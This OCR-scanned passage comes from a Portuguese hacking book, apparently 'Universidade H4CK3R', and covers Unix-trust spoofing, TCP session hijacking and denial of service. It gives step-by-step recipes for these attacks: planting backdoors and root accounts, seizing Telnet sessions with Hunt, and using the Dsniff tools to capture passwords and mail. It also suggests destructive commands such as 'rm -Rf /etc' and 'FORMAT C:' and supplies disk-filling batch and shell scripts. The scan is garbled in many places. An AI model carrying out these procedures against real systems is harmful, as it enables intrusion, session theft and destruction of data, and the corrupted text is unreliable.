mquinas cujo IP esto em /etc/hosts.equiv de B so de confiana pam B. Al m
desse arquivo, cada usurio de B pode ter, em seu prprio !home, lmla lista de
mquinas nas quais confia, guardada no arquivo .rhosts.
Confi ana
letc/hosts.equiv
- IPOE. A
IPDE.H
No exemplo acima, lOdas as mquinas ~ S ~ e ~ T ' so Unix. As estaes podem
ser qualquer coisa. Em cada uma das mquinas "T" mostradas, h um arquivo, o
/elc!hosts.equiv, contendo o lP de "S". Assim, todos os usuriOS que se logarem
em "S" podero ter acesso aos recursos das mquinas "T" . possvel criaI shell
scripts com os r-comandos, por exemplo, para automatizar o processo c facili-
tar a vida desses usurios.
1287 1
I Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
12881
Mas o que acontece quando usamos os r-comandos? O usurio est logado
em e, por meio de um comando rlogin, conseguiu um shell de "T3" sem que
fossem solicitados um usurio e uma senha vlidos em "T3". Ocorre que, na
prtica, o usurio est logado em "T3", e todas as suas aes sero originadas
de "T3" (e no de "S" ou de "II", sua estao de trabalho ... ). Se o invasor usar
algum scanner comra o site de uma empresa, ou lentar conectar-se por brule-
force a um servio na Internet , seri'l o IP de que seri'l registrado, no o de
"S" e muito menos o de "H".
Agom que a mgica acomece. Se ronnos usurios j cadastrados em no h
problema. Basta logarmos em "S", dar wn rlogi.n parn 13 e us-lo. Mas e se no for-
mos? E mesmo se ronnos, seremos registrados nos logs de "S", ento o que fazer?
possvel "envenenar" uma relao de confiana entre duas mquinas usan-
do spoofing, um pouco de sniffing e uma pitada de negao de servio. Imagi-
ne uma rede corporativa onde h uma mquina chamada SERVLOGJN, na qual
os usurios sero autemicados, e outras, cada uma com um nome alusivo ao
recurso que ela disponibiliz,1 (por exemplo, IMPRESSORA, FISCAL,
VAX, FINANCEIRO, entre outros ... ) . Todas essas mquinas usam o /ere/
hosts.equiv para "confiar" no julgamento de SERVLOGIN no tocante a quais
usurios u?m pcnnisso p:lra acessar seus recursos. Imagine tambm que, em
algum lugar ignorado na Internet , h uma mquina ",,1" que deseja conectar-se
a algum computador interno.
Gateway
P'.lr.l realizar a tarefa a contento, temos que partir de algumas premissas:
Em primeiro lugar, temos que ter cm mente que "H" no est na mesma
LAN que SERVLOGIN ou qualquer uma das outras mquinas. Pelo contri'lrio,
est l - beeeem longe - na nuvem da lntemel. Por isso mesmo, impossvel
"esnifar" o que ocorre na lAN.
De alguma maneira j descobrimos que SERVLOGIN considerado
"confi:lvel " pelos outros servidores. Descobrimos isso porque invadimos IM-
PRESSORA, por exemplo, ou o prprio SERVLOGIN, e consultamos os arquivos
.rhosts ou /etc/hosts.cquiv ou mesmo os logs do sistema, procura de sinais
de conexo por Unix Trust.
Ataque. defesa e contra-ataque: tnvaso I
Univers idade 3ano
Nosso objetivo , ento, traado: queremos que uma das mquinas (por
exemplo, INfRANEl) que , na realidade, SERVLOGIN. Com isso,
teremos um shell em INTRANET, com um IP disposio parJ. usarmos von-
tade em nossas maldades por a...
Vamos dar uma "receitinha de bolo" para esse <ltaque. a melhor maneira de
explicar a teoria de cada um dos passos necessrios. Para maior clareza no
texto, chamaremos cada um dos computadores apenas por seus nomes (i.e.
em vez de mquina ou em vez de "o servidor S").
1. "H" inicia vrias - na verdade, milhares de - conexes reais, sem impos-
tura (ou seja, sem spoofmg), para INTRANET. "H" envia v.lrios pacotes SYN e
espera pelos ACKs de INTRANET. Baseado nesses ACKs, "H" pode inferir (ou
antes, adivinhar) a progresso de nmeros seqenci<lis TCP gerados por
INTRANET. Com isso, "H" pode ter uma idia dos nmeros a usar mais para
frente , quando estiver conectando ao sistema INTRANET.
2. Depois disso (ou simultaneamente, caso o invasor possua outra mqui-
na) lana-se um ataque de neg<lo de servio contra SERVLOGIN. Com
SERVlOGIN fora da jogada, impedimos que o mesmo envie um pacote TCP
RST e derrube nossa conexo "spoofada
3. Usando um dos r-comandos, "H" inicia uma conexo a INTRANET usando
o IP de SERVlOGIN. A INTRANET responde com um ACK para SERVlOGIN,
que est fora de combate devido negao de servio.
4. Agora, a mgica:"H" envia umACK para lNI1{ANEf, com o IP de SERVlOGIN
e uma estimativa do nmero seqencial TCP - calcu1ado pela progresso detecta-
da no passo I m..'lis o tempo que o processo todo levou at chegar aqui.
5. Caso tenha acertado na mosca (o hacker possui apenas um tiro .. .) a co-
municao estabelecida e mantida enquanto SERVlOGIN estiver fom do ar.
Se tiver errJ.do, o invasor pode repetir a receitinha at acenar.
Alguns sistemas so idiotamente fceis de prcvc...1" a seqncia TCP, outros nem tanto,
e h W1S poucos onde essa seqncia (?) quase aleatria (?!?!??). A predictabilidade
eleJa dir se o sistema facilmente hackevel por esse mtodo - ou no.
Lembra daquelas velhas cantigas do tipo amava Maria que amava Pedro ... "?
Pois . No passo 3,"Winidou wna conexo com INTRANET fingindo ser SERVLOGLN.
Para iniciar essa conexo, usou um r-comando (por exemplo, um rlogin). Se o hacker
acertou a seqencia TCp, foi presenteado com um shell de INTRANET. S que
INfRANET que quem iniciou a cOffilUlicao SERVLOGlN, e manda as
respostas para essa mquina. Resultado: "H" pode emitir comandos, rnas no tem a
mnima idia se esto funcionando ou rul0 - no h feedback na teJa.
Enquanto isso pode parecer suficieme para um estrago qualquer (assim como
nas vulnerJ.bilidades discutidas anterionnente, como o estouro de pilha ou os
CGIs "amigos") , o hacker pode usar esse shell Ce tambm o do estouro de pilha,
bem como O dos CGls .. .) para configurar rapidamente um backdoor em
INTRANET. No se esquea que SERVlOGIN est tinto com a negao de servi-
o, mas recobrar os semidos a quaJquer momento e cortar a comunicao
1289 I
I Ataque. defesa e cont ra-at aque: Invaso
I Universidade H4CK3R I
12901
(com um TCP RSl) entre INTRANET e "H". Entre as coisas que o invasor pode
fazer na mquina lNTRANET esto:
Colocar o IP de "H" no letclhosts.equiv;
Criar um usurio com direitos de roOl no lelc/passwd;
Implantar qualquer tipo de backdoor.
H mais opes alm dessas. A partir dessas alterJcs, o hacker pode insta-
lar vrios backdoors, incluir mais mquinas no hosts.equiv (ou mesmo o smbo-
lo + +, que faz com que INTRANET confie em qualquer um ... ) e criar outras
contas no sistema. claro que administradores atentos logo notaro tais mu-
danas, por isso bom usar essa mquina para rapidamente "Ownar" outras.
No esquea ainda que, por mais engenhoso que o procedimento seja, feml-
mentas de lOS e auditoria de arquivos logo descobriro a faanha.
Como tarefa para casa, sugerimos ao leilOr que procure documentao na
Internet sobre os seguintes tipos de Spoofing:
DNS Spoofing
Source Routing
Proxy Spoofing
Daisy-chain Spoofing
Captura de sesses IHijackingl
Lembro-me das aulas de matemtica da primeira srie do primrio (hoje isso
chamado de Educao Fundamental , mas ludo a mesma coisa .. . ). Problemas
matemticos eram resolvidos dividindo a folha do caderno em trs campos:
sentena matemtica, clculo e resposta. Na sentena matemtica, colocva-
mos o que fui , anos depois, aprender que se chama fonna algbrica da equao
(ou da inequao ou frmula). A sentena matemticll deveria ser algo claro e
bem detalhado, para que a pessoa que fosse ler a resoluo do problema pu-
desse entend-lo num relance. No cllmpo Clculos, as coisas eram mais livres.
Podamos preencher completamente o espao com clculos e anotaes -
m,lntendo, obviamente, ,liguma "limpeza", seno era nota zero! Na resposta,
nos era pennitido colocar apenas o resultado de nossos clculos. Em nossos
estudos sobre invases, podemos colocar, em nossa sentena matemtica, O
seguinte problema: Sniffing + Spoofmg = ? Faamos os clculos, ento, e veja-
mos no qual isso vai dar.
Nas pginas anteriores vimos que sniffmg um meio de saber o que se passa
numa rede local - mesmo que os dados em trnsito no sejam de nossa conta.
Por outro lado, podemos enviar dados a outros computadores fingindo ser
uma terceira pessoa - isso spoofing. fcil perceber ue, combinando essas
duas tcnicas, podemos r o u b a r uma sesso entre dois computadores. "Como
assim roubarr , o leitor pcrguntllria. Uma imagem vale por mil palavras:
Ataque. defesa e contra -ataque: Invaso I
Universidade 3ano
Redel
Observe que A, B e H no precisam estar na mesma UN. H pode estar, com
efeito, na IAN de A, na de B ou em qualquer subrede intermediria. A malha de
roteadores mostrada poderia ser substituda por uma "nuvem" representando a
rede como um todo - poderia mesmo ser a Internet. O importante notar que H
tem de estar em algum ponto pelo qual estejam passando os pacotes entre A e B.
A conexo entre A e B poderia ser qualquer coisa, como uma chamada HTTP ou
correio eletrnico sendo transmitido via SMTP Capnrrando uma sesso de con-
versao por ICQ, por exemplo, podemos continuar conversando com B en-
quanto ele pensa que somos A. Capturando uma sesso de FfP, 5MB (redes
Microsoft) ou Telnet entre o usuriO A e o servidor B, por exemplo, podemos
navegar pelos servidores sem precisar fazer login - A j o fez anteriormente, e B
agora pensa que somos A. Acendeu uma "Iuzinha" a? Pois , h outras maneiras
de conseguir acesso a sistemas aJm do brote force e buffer overflow..
Realmente, por mais que os mecanismos de autenticao sejam seguros (senhas de
mo nica, criptografia, assinaturas digitais, etc.), pode-se capturar uma comunica-
o qua1quer DEPOIS que a autenticao foi feita e, assim, puL'lT L'SSa parte chata.As
produtoras de software nonnalmente gastam milhes em desenvolvimento de es-
qULmas seguros de autenticao e esquecem-se do que, tUna vez feita, o sistema ir
SEMPRE acreditar que o usurio o mesmo - e, como vimos, nem sempre .. .
Outra caractenstica de uma sesso de hijacking que no preciso estimar ou
adivinhar a progresso e a preditabilidade dos nmeros seqenciais TCr. O ata-
cante, estando no meio do caminho entre as duas estaes, tem acesso progres--
5.10 real dos nmeros seqenciais TCP e pode, portanto, control-los quando esti-
ver fazendo se passar por outrem. Em nosso exemplo , H est cuidadosamente
registrando toda a comunicao entre A e B, incluindo a as seqncias TCr.
Na prtica, os passos a serem seguidos so:
1. H deve observar - com tcnicas de sniffing - a comunicao entre A e B
por um tempo razovel, para determinar o tipo de conexo, o protocolo em
liSO (HTfP, SSH, FTP,Telnet, MSN, ICQ ... ) e a seqncia TCP nos dois sentidos.
nldo isso deve ser registrado em um arquivo e analisado. Quando a conexo
estiver bem decide-se que interessante seqestr-Ia e dete r-
mina-se os meios para tal, a podemos iniciar a captur.t.
2. H comea ento - com tcnicas de spoofmg - a B, fazend()-()
pensar que H A. A forma mais usual H simplesmente criar trfego entre ele
1291 I
I Ataque. defesa e cont ra-ataque: Invaso
I Universidade H4CK3R I
2921
e B, gerando pacotes cujo endereo II' de origem seja o de A. B pensar que os
pacotes vm de A.
3. Uma vez que B aceita comandos de H pensando serem de A, pode-se
controlar B a partir de H. Se for uma sesso de Tclnet ou de SSH, H pode operar
o computador B por comandos shell. Se for uma sesso T I ~ H pode baixar
arquivos de B que estejam liberados para A - e bloqueados para usuriOS de
FTP annimo. Se for uma conversao MSN, H pode continuar a conversa com
B fingindo ser A.
Olhando "por cima", parece que funciona. Mas h um problema: A ainda est
viva e D devolve a ela pacotes TCP com o bit ACK ligado cada vez que H injeta
trfego na linha. A tentar ressincronizar a conexo e responder a B na mes-
ma medida. Alm desses ACKs esprios gerados pelos pacotes injetados por H
na conexo, h ainda os pacotes normais da conexo entre A e B. Isso causar
o que chamamos de tempestade ACK ou ACK storm.
Quando descreve-
mos, pginas atrs, um
spoofing baseado em
Unix Trusts, retiramos
do ar a mquina
SERVLOGIN (aquela
pela qual queramos
nos fazer passar) por
meio de um ataque do
tipo Negao de Servi-
o. Naquela ocasio, o
Ol,BI
AR'
Spoofing
fizemos para evitar que SERVLOGIN derrubasse a conexo (que afinal no fora
gerada por ela) com um pacote TCP RST. O caso aqui ligeiramente diferente:
A realmente iniciou a conexo entre ela e B. O trfego injetado por H aprovei-
ta-se disso e a tempestade de ACKs um efeito colateral indesejado, em vez de
ser um procedimento normal do protocolo TCp, como no C;ISO do RST.
Apesar de ser efetivo naquele caso especfico - no precisvamos de SERVLOGlN
no decorrer da ao -, usar Denial of Service nem sempre desejvel:
~ A mquina fora do ar pode voltar a qualquer momento. No h previso de
quando, e certamente o tempo que ficar desabilitada ser muito pequeno - o
suficiente para um ou dois comandos.
~ Se o computador que sofreu o DoS for atendido por algum, ou seja, hou-
ver usuriOS conectados nele - por exemplo, uma estao de trabalho -, o
ataque ser facilmente detectado.
~ Em alguns casos, necessrio que o computador pelo qual queremos nos
fazer passar fique "vivo" - h recursos que s podem ser destravddos por ele,
ou precisamos que o usurio acredite que ainda est conectado.
~ Era imperativo tirar a mquina do ar devido aos TCP RST, que cancelam a
Ataque, defesa e contra ataque: Invaso)
Universidade 3ano
conexo correspondente. Aqui no h RST pois o originador da conexo foi -
realmente - A e no H.A passa a ser necessrio e no indesejado.
Negao de Servio algo deselegante - e voc vaidoso, no ?
A resposta est em algumas pginas um pouco mais para trs. Quando fize-
mos sniffing ativo, usamos a tcnica de ARP Spoofing para confundir o switch
e as prprias estaes, colocando nossa mquina no meio da conexo. Para tal,
usamos o programa Hunt em uma configurao man-in-the- middle. Bem, pode
mos usar a mesma idia para evitar o ACK Storm. Com o trfego passando todo
pela mquina que est escutando a rede, podemos controlar a propagao
desses ACKs esprios.
Nessa configurao, fica claro que, como no h problema de tempestade de
ACKs, podemos emitir comandos para a mquina destino (8, em nosso exem-
plo). Obviamente, quando a conexo entre H e B for encerrada, a diferena
entre os TCP sequence numbers que A envia e que B espera to gr.mde que a
sincronizao entre A e B impossvel - e a conexo entre eles cambm cai.
Programas de Hijack modernos (como o Hunt e o Dsnift) possuem, entretanto,
ferramentas para ressincronizar as conexes, assim uma desconexo gratuita
no ir causar desconfianas.
Selecionando seus combatentes
claro que h a possibilidade de se fazer tudo isso manualmente. Entretanto,
a maneira mais fcil usar ferramentas especialmente construdas para tal.
Uma delas o Hunt, visto na sesso sobre sniffmg. O Hunt possui duas opes
interessantes: simple hiJacke arp/simple hiJack. No menu opes, ele oferece
algumas possibilidades tambm muito interessantes, como arp spoof with my
mac Oembram-se do ARP Spoofing?), leam MAC from IP t:raft1c e switched
environment (ferr.tmentas para enganar bridges e switches).
O Dsniff, outra sute de sniffing comentada anteriormente, tambm possui
ferrJ.mentas parJ. captura de sesses. Alm do prprio programa Dsniff (es-
pecializado em sniffing), a sute possui as seguintes ferramentas:
Ferramentas de sniffing includas na sute Dsniff:
filesnarf: copia na mquina do hacker os arquivos trafegando em uma
conexo NFS (Network File System) entre dois outros computadores.
mailsnarf: reproduz na mquina invasora mensagens de e-mail sendo trans-
mitidas por POP ou SMTP. Com modificaes no cdigo do programa, pos-
svel ler tambm mensagens IMAP e UUCP. As mensagens so armazenadas
em formato mailbox - legvel por praticamente todos os programas de e-
mail existentes.
msgsnarf: registra toda a conversao entre duas pessoas que estej.tm
usando os servios de mensagem instantnea AOL Instam Messenger, ICQ
2000, IRC, MSN e Yahoo.
1293 I
I Ataque, defesa e contra- ataque: Invaso
I Uni versidade H4CK3R I
12941
urlsnarf: fareja requisies HTfP e as apresenta no formato Common
Log Format ou CLF.
Ferramentas de spoofing includas na sute Dsniff:
arpspoof: ferramenta para ARP Spoofing.
dnsspoof: forja respostas a solicitaes DNS em uma LAN. til para
contornar regras de acesso baseadas no nome do host ou para implementar
diversos ataques tipo man-in-the-middle baseados em DNS.
macof: uma ferramenta para MAC Flooding. Inunda a LAN com uma mul-
tido de endereos MAC rJ.ndmicos, fazendo com que bridges e switches
vulnerveis passem a se comportar como hubs - ou seja, deixando passar
todo o trfego indiscriminadamente por todas as portas.
Ferramentas de captura e controle (hijacking) includas na sute Dsniff:
tcpkill: derruba a conexo selecionada.
tcpnice: controla a velocidade da conexo entre dois ns sem prejudicar
o restante da rede. interessante para reduzir a velocidade de uma conexo
e, com isso, monitor-Ja "ao vivo".
sshmitm: age como um intermedirio (uma espcie de proxy) para cone-
xes SSH. Uma vez desviada a conexo (com ferramentas como, por exemplo,
o dnsspoof), o sshmitm pode farejar o trfego procura de logins e senhas e
mesmo capturar a sesso.A poro mitro do nome significa man-in-the-middle.
webmitm: age tambm como intermedirio, desta vez para conexes
HTfP/H1TPS (sim, suporta SSL!!!). til para conseguir senhas de acesso a
sites e informaes normalmente inseridas em formulrios como nmeros
de cartes de crdito e informaes "criptografadas".
Alm do Hunt e do Dsniff, h algumas outnts ferramentas para seqestro
de sesses. Uma delas, muito conhecida, o juggenaut (packetstorm.
linuxsecurjty .com/new-exploits/l .2.tar.gz). Outro tambm muito comenta-
do o IP-Watcher, produto comercial (e pago) da Engarde Systems -
www.engarde.com) . Um detalhe: todos eles so parJ. Unix. No h boas op-
es de ferramentas para seqestro de sesses que rodem em Windows ou
outras plataformas - neste caso especfico, meu amigo, voci: est preso aos
Unix, Uma sada dotar seu Windows de um ambiente Unix simulado como o
Cygwin (www.cygwin.com) e rodar essas ferramentas l. Para isso, ser pre-
ciso instalar tambm as bibliotecas pertinentes a cada um dos softwares den-
tro do Cygwin. Outra maneira dotar seu Windows de uma mquina virtual
PC completa, como o comercial e caro VMWare (www.vmware.com) ou o
livre e gn'tuito Bochs (bochs.sourceforge.net), e rodar algum Unix para PC
(Linux, FreeBSD, Solaris) dentro dele,
Ataque. defesa e contra-ataque: Invaso I
Universidade 3ano
Seqestro na prtica
(ou: como me tornei membro do Al Qaeda)
Ameriomlente descrevemos uma sesso de sniffing com o Hunt. Chegamos
ao ponlo de verificar os comandos que A el1"titia para B e ver as respostas que
B enviaV'J. para A. Ainda no estvamos exatamente no meio d" conversa.o -
simplesmente farejvamos o trfego passam por aqui berrando e no
querem que eu escute ... ").
Vamos refJ.z-la, desta vez captur'J.ndo a sesso. Usaremos noss<'1 rede de tes-
tes e as mesmas instalaes que usamos em nosso experimento anterior. Usare-
mos tambm a mesma sesso de TelneI que descrevemos.
R:lpid;amente relembr.mdo o procedimento j visto, selecione a opo
(options) e adicione uma conn poliey, de acordo com os IPs d:ls mquinas cuj:lS
conexes queremos monitorar e, posteriormente, caplUr.lr. Digite para ver
se h interfaces que obede"m a essa regr-J. (observe o prompt do Hum).
Depois disso, digite para voltar tel" principal e novamente para listar
as conexes existentes que estejam de acordo com as conn policies defmidas.
Selecione (watch) para monitorolr uma das conexes, c depois escolha a
conexo de nossa sesso telnel (lembre-se: estamos fazendo um temet da m-
quin;a Windows para" Coitad;a). logue-se por Telnel e emit;a ;alguns comandos.
Se tudo estiver ceno, todos os dados em ambos os sentidos da conexo serio
eco"dos no Hunt - que est rod"ndo n;a estao Unix. At ;aqui era o que hav
amos feito.
Note que, se voc estiver em um ambiente de rede segment:ldo (por exemplo,
h Ulll switch em sua LAN), voc ter de fazer um ARP Spoofing para engan-lo
- caso contrrio, no conseguir ver as conexes que estejam em outro seg-
mento. O prprio Hunt pode fazer isso. Selecione "d" (daemons) e (arp spoof
+ ;arp rel;ayer daemon), e configure os endereos IP de origem e destino pelos
quais voc quer fazer ARP Spooftng (opo "a" - add host to host arp spooO.
Digite "s" para iniciar o daemon e espere alguns minutos. Dependendo do tr-
fego de su;a rede e das estaes em questo, pode demomr de um a 20 minutos
pam que o switch passe a distribuir pacotes indiscriminadamente.
Com ou sem switch, voc est pronto parol seu primeiro seqestro. Volte ao
menu principal e escolha a opo (;arp/simple hijack). Ser perguntado
qual das conexes deseja CllpturJ.r. Selecione a conexo de nosso telnet e res-
ponda s perguntas sobre conexo e apresentao dos dadOS.A tela de capwra
, em um primeiro momento, idntica tela de observao (watch). O compor-
tamento tambm o mesmo, por enquanto: tudo o que o usurio da mquina
Windows fizer ser ecoado p"r.l o Hunt antes de ser enviado o
mesmo ocorrendo com a resposta de "Coitada" para Windows.
Isso ocorrer indefinidamente, at que o Hacker deseje capturar a conexo.
Para tal, basta pressionar Control+C. Na tela, aparecer a mensagem:
- press any k ey>
I 295 I
I Ataque. defesa e contra-ataque: Invaso
I Universidade H4CK3R I
Assim que uma tecla quaJquer for pressionada, a tela do Hunt se parecer com
isso:
- press any k y ~
you took over the connection
CTRL- I to break
Pronto! J estamos em modo interativo com a sesso capturada. A mquina
Windows no tem mais controle sobre a conexo, tudo o que o usurio digitar
ser ecoado no Hunt na cor verde, mas no ser enviado Coitada. Por outro
lado, tudo o que o Hacker digitar no Hunt ser enviado mquina Coitada.
Como uma sesso de Telnet, digitar comandos de sheU no Hum resultar em
sua execuo em Coitada.
- press any key>
you took over the connection
CTRL-] to break
Is
Is
Is
exit
cazzo!
Comandos digitados pelo
usurio que perdeu a conexo
[/home/usuario] > ls coitada
Dsktop README Xresources Xsetup aliases.sh chooser
i
tmp
coitada [/home/usuariol > W
1 : 44am up 7 days, 5 :44,
USER TTY FROM
root ttyl
usuario pts/2 192 . 168 . 1.1
root pts/O
root pts/1
coitada [/home/usuario] >
4 users, 10ad average : 0.99, 1 . 22, 1.20
LOGIN@ rDLE JCPU PCPU WHAT
Wed 3pm 3 : 48m 0.07s 0.07s -bash
1:07am O. OOs 0 . 03s 0.01s w
29May03 7days O.OOs ?
Wed 3pm 9 : 2am 0.15s 0.15s Ibin/bash
Na tela da mquina Windows ser mostrada a seguinte informao:
$Is
$Is
$ls
$exit
$cazzo!
Ou seja, o usurio tem lima realimentao do que digitou, e nenhuma mensa-
gem de falha ser mostrada - simplesmente no acontece nada! Essa sada , na
verdade, fornecida pelo Hum. Ele inclui o carter $ para dar uma impresso de
prompt do shell - fie ;wd deceive ...
Ataque, defesa e contra-ataque: Invaso I
Uni versidade 3ano
Com controle sobre o hacker pode tentar o que quiser: colocar um
backdoor, apagar tudo, fazer downJoad de documentos e arquivos importantes
(inclusive o arquivo de senJlas), usar a mquina como trampolim para outro ata-
que (mais uma maneira de spoofmg .. .), tentar ganhar acesso irrestrito, etc, etc, etc.
muito importante observar que usamos um servidor nux como exemplo, mas o
procedimento o mesmo para qualquer platafonna. Poderiamos tranqilamente
ter usado o Hunt para seqestrar uma sesso entre uma estao Wmdows 98 e um
servidor Wmdows 2000 com OS e TeInet habilitado (ou FTP ou H1TP ou POP: .. ).
Qu:mdo cansar de brincar, o invasor pressiona Control+J para sair. Ele ter, ainda,
a opo de derrubar a conexo (e o l..ISUri.o na mquina Wmdows receber tUna
falsa mensagem de problemas com a rede) ou ressincronizla. O Hunt inteligente
nessa hora: ele tem registrados os nmeros TCP seqenciais vindos da m,.quina
Windows e da proprul m...quina Unix, na qual est o programa. Dessa fonna, o Hunt
sabe qu:mtos pacotes Wmdows tem de enviar para o antes de pennitir su:t
reconcxo mquin.:l Coitada. Por exemplo, se o H\tnt enviou 45 pacotes TCP para
a Coitada, quando a captura da sesso for finalizada a mensagem
msg from root : power failure - try to type 45 characters
ser mostrada na tela de Windows. Assim que o usurio digitar a 4;- tecla, os
nmeros seqenciais TCP estaro novamente em sincronia. A sesso pode con-
tinuar nonnalmente - e , na maioria dos casos, o usurio em questo sequer
perceber o que aconteceu. Mas tenha em mente que a maioria das vezes no
significa todas, e um usurio que conhea o comportamento do Hunt facilmen-
te identificar a falcatma e avisar.. a autoridade competente.
Tarefa. para casa: tente fazer exatamente o mesmo com o Dsniff (leia a docu-
mentao!). Voc ver que, por no ser uma ferramenta i.ntegrada como O
Hum, mas um conjumo de pequenas ferramentas de uso especifico, ter de
usar vrias delas para obter o mesmo efeito. Entretanto, no mais perfeito estilo
Unix de fazer as coisas, tambm ver que bem mais fcil automatizar o ata
que com um shell script que faa uso delas.
Outros mtodos de desviar trfego
H muitas outras fonnas de colocarse na posio de man-uHhemiddJe e fazer
o trfego passar por seu computador antes de chegar ao destino. Algumas delas
incluem desviar trfego web por meio de DNS Spoofing. H ferr.mlentas (como
o dnsspoof, incluso na sute Dsniff) que podem ser programadas para enviar
falsas respostas a requisies DNS. Por exemplo, o site da Digerati est hospeda
do no host 200.246. 179. 102. possvel usar o dnsspoof para fazer um intemauta
qualquer acreditar que, em vez disso, o domnio digemti.com.br est em
200.230.xxx.yyy. L pode haver um site falso ou um sniffer que grave as informa
cs passadas e rcdirecione o trfego ao site verdadeiro.
Outra forma de desviar o trfego bastante empregada faz uso do Netcat -
uma ferr.tmenta poderosssima e presente em todos os Unix e no Windows.
1297 1
I Ataque. defesa e contra-ataque: Invaso
I Universidade H4CK3R I
12981
Veremos os diversos usos do Netcat no prximo captulo.
Uma ltima dica: h um excelente documento em paketstorm,linux
securjty.comlnew.xploits/sshinsenionauack,lxt que discorre sobre captum
de sesses usando o protocolo Secure Shell ou SSH. O SSH , grosso modo, um
primo do Telnet cuja conexo lOda criptografada. Bem, esse documento ensi
na a nessa conexo que muitos considcmm segum.
Negao de servio IDenial of Servi ceI
Nem sempre queremos obter acesso a algwn sistema. Muitas vezes, por vingan
a, terrorismo ou simples depre(klo, queremos apenas derrubar um site, SiSlem<l
ou rede e C"dUsar o mximo possvel de prejuzos vlima. Tal procedimento
cham<ldo atuabnente de Neg:l;io de Servio porque o resultado , via de regr"d, a
indisponibilidade temporria ou permanente do servio que estamos atacando,
Qutms vezes um Denial ofService (ou 005, como normalmente chamado)
necessrio como parte de um ataque maior, como vimos em nossos procedi
mentos de spoofing neste mesmo captulo. De uma forola ou de outm, um
at<lque do tipo DoS o cibercrime mais deselegante que se pode cometer -
como "p<lnlr para a ignorncia", como dizi<lm os <lntigos. Sem entrar em deta-
lhes sobre as conseqnci:as mercadolgicas, polticas e financeiras de um ata
que DoS bemsucedido, podemos considerlo Lio monal quanto moralmente
baixo, da mesma fomla que uma brig:a de rua o ,
P"dra entender a negao de servio, imagine qualquer sistema conectado
Internet que se qucird derrubar como sendo um servio "no mundo real "; no-
ricultura, pizzaria, polci:a, defesa civil, etc ... Imagine, por exemplo, que voc
queira colocar fogo em um prdio pblico e ter ceneza de que no ter seus
planos arruinados por algum bombeiro com voc<lo para heri. Uma das ma
neirdS de impedir que os bombeiros entrem em ao impedir que eles saibam
que o prdio est em chamas. Para tal , basta manter todas as linhas do 193
congestionadas com trotes. Emergncias legtimas nunca sero atendidas.
Ainda no mbito telefnico, um belo exemplo de negao de servio pde ser
visto no filme Duro de M:ltar 3: o terrorista interpret:ldo por Jeremy lrons
colocou uma bomba em alguma escola primria do municpio de Nova York.
Ajm de no informar polcia em qual escol:! o aparmo estava instal:!do, o
bandido ainda divulgou a presena da bomba para a mdia. Resultado: a popu-
lao inteira da cidade comeou a ligar para os nmeros da policia, congestio-
n<lndo as linhas e impedindo os polici<lis de tmbalhar.
Negao de servio local
H diversos nveis de DoS. Os mais bsicos so os aulSados por pessoas com acesso
rlSico ao sistema - cm outr.lS palavr.ls, literalmente a marreta" no equipanK-"JltO.
Passar com O cuninho por dntl lt,lombada eletrnica pam tiri,"'a de servio (e Livrar
se da multa) tambm JXXIe ser considerado um tipo de nL"gal0 de servio.
Ataque. defesa e contraataque: Invaso I
Universidade 3ano
Um DoS de nvel um pouco mais alto (no mais na sarjeta, mas ainda mendi-
gando na calada) seria o acesso lgico aos sistemas. Usurios com contas ou
invasores que conseguiram acesso limitado podem tentar destruir o sistema
com comandos nocivos. H diversas maneiras de fazer isso.
Apagamento ou destruio: um usurio com uma conta em um servidor
Solaris poderia tentar um rm -Rf em um diretrio sensvel - o letc, por exem-
plo. Caso o ambiente seja Windows, nada mais fcil que um FORMAT C: ou um
DEL '.' /S/Q.
Consumo de recursos: mesmo usurios com acesso muilO restriLO de-
vem poder rodar progrdmas no sistema - como trdbalharo sem eles? Isso
pOSlO, possvel criar programas especialmente talhados para aumemar em
progresso geomtrica o consumo de recursos da mquina - seja por mlti-
plos acessos a disco, inundao das interfaces de rede com trfego esprio,
multiplicao indefinida de processos ou mesmo gravao ininterrupta de
dados cm arquivos at preencher todo o espao disponvel.
Vulnerabilidades locais: um buffer overflow, se bem-feito, pode levar a
acesso i.rrestrito ou execuo de comandos arbitrriOS no sistema vulnervel.
Um ataque mal-feito, entretanto, pode apenas travar o programa. Se o progra-
ma for vital para o sistema (como partes expostas do kernel em um Windows
Nn ou oferecer um servio aos usurios externos (como o X-Window ou o
Sendmail em um Unix), o estdgo ser maior. Caso o lixo jogado na pilha seja
em quantidade realmente grande, possvel que o sistema todo caia.
Acesso irrestrito: usurios com acesso privilegiado (por exemplo, um
administrador de rede insatisfeito com seu salrio) podem fazer diversas
"malvadczas" como reconfigurar servios ou matar processos importantes, alm
de plantar cavalos de tria, bombas de tempo e diversos tipos de vrus.
H diversas ferramentas na Internet que se prestam a esse papel, e mesmo
script-kiddies com um pouco mais de tutano podem criar ferramentas simples
para tal. Quer um exemplo? Em uma mquina Windows, crie um arquivo
DADOS.BAT e, dentro dele, coloque:
@ ECHO OFF
ECHO MHacker
M
> DADOS.DAT
: VOLTA
TYPE DADOS . DAT SYSTEM. DAT
TYPE SYSTEM. DAT DADOS.DAT
GOTO VOLTA :
1299 I
! Ataque, defesa e cont ra-ataque: Invaso
I Universidade H4CK3R I
300 I
Rode o programa DADOS.BAT e voc ver os arquivos DADOS.DAT e
SYSTEM.DAT crescerem indefmidamente. Em um shell Unix to simples quanto.
Experimente o seguinte script (chame-o de dados.sh):
*/bin/sh
touch dados . dat
touch system. dat
echo Mhacker- dados . dat;
while [ 1 r 1 J;
do
cat dados . dat system. dat;
cat system. dat dados . dat ;
done ;
Execute o programinha (dados.bat no Windows, sh dados.sh no Unix) e
veja o que acontece. Aparentemente nada, mas se voc der um Is no Unix ou dir
no DOS para listar os arquivos (em outro sheU ou outra janela do DOS) ver
que o tamanho de DADOS.DAT e SYSTEM.DAT crescem exponencialmente
medida que o tempo passa. Rodando por apenas um minuto (60 segundos
exatos) os tamanhos ficaro da ordem de 100 Mil cada. Mais dez minutos e
teriamos dois arquivos de I GB cada, em 60 minutos (uma nsera hora) teria-
mos 12 GB ocupados. Os progr.tmas em DOS e Unix apresentaram desempe-
nho semelhante quando executados no mesmo hardware.
Observe que nenhum dos 2 scripts precisou de privilgios especiais para
rodar: foram executados diretamente na rea autorizada para o lISU;lriO e usa-
ram ferr.tmentas e recursos disponveis no sistema - nada precisou ser instala-
do. Observe ainda que os quatro problemas listados - apagamento ou destrui-
o, consumo de recursos, vulnerabilidades locais e alteraes por acesso
irrestrito podem muito bem ser implementadas nos virus que chegam a voc
pela Internet e por disquetes e CDs infectados!!! De fato, os vrus de computa-
